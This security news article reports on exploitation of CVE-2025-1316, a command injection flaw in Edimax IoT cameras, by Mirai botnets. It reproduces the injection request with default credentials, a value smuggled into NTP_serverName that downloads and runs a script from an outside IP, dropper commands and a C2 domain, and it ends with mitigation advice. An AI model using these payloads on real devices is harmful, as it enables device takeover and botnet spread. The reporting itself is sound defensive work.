Edimax Camera RCE Vulnerability Exploited to Spread Mirai Malware

A recent alert from the Akamai Security Intelligence and Response Team (SIRT) has highlighted the exploitation of a severe command injection vulnerability in Edimax Internet of Things (IoT) devices.

This vulnerability, designated as CVE-2025-1316, has been actively used by multiple botnets to spread Mirai malware.

Mirai is notorious for compromising IoT devices and orchestrating distributed denial-of-service (DDoS) attacks.

Vulnerability Overview

The CVE-2025-1316 vulnerability targets the /camera-cgi/admin/param.cgi endpoint in Edimax devices, allowing attackers to inject commands into the NTP_serverName option within the ipcamSource parameter.

For successful exploitation, default credentials such as admin:1234 are used. Although the CVE specifically mentions Edimax’s IC-7100 network camera, the vulnerability likely affects a broader range of Edimax devices.

Akamai SIRT first detected activity targeting this vulnerability in their honeypots in early October 2024.

However, the proof of concept (PoC) exploit dates back to June 2023. The earliest exploit attempts observed were in May 2024, with spikes in September 2024 and January-February 2025.

These attacks were attributed to different botnets, including Mirai variants.

Example Exploit Code

The exploit injects commands to execute a shell script on the device. Here’s an example of the request payload:

/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0

This script downloads and executes a Mirai malware variant for different architectures, such as ARM, MIPS, and x86.

Malware Execution Commands

Once downloaded, the malware is executed through commands like:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://193.143.1[.]118/x86;

curl -O http://193.143.1[.]118/x86;

cat x86 > OSGt;

chmod +x *;

./OSGt joined;

rm -rf OSGt

Similar commands are used for other architectures like MIPS and ARM.

Mirai Botnets

Two distinct botnets have been identified exploiting this vulnerability:

1. First Botnet: This botnet uses the exploit to download and execute a curl.sh script. It communicates with the command and control (C2) server via angela.spklove[.]com over port 3093. The malware prints “VagneRHere” upon execution.
2. Second Botnet: This botnet downloads and runs a wget.sh script, which executes Mirai malware. The malware includes antidebugging functions and prints “Hello, World!” upon execution.

Both botnets exploit several known vulnerabilities, including a Docker API exploit and CVE-2024-7214 affecting TOTOLINK devices.

Mitigation and Recommendations

To protect against these threats:

• Upgrade Devices: Replace outdated or vulnerable devices with newer models.
• Change Default Credentials: Ensure all devices use strong, unique passwords.
• Monitor Networks: Watch for suspicious activity, such as unusual traffic patterns.
• Implement Security Measures: Use firewalls and intrusion detection systems to block exploit attempts.

As the legacy of Mirai malware continues to impact IoT security, staying informed and proactive is crucial for safeguarding these devices.

The ongoing exploitation of Edimax IoT devices highlights the persistent risks associated with legacy firmware and the pervasive threat of Mirai malware.

Regular monitoring and proactive security strategies are essential in protecting against evolving cyber threats.

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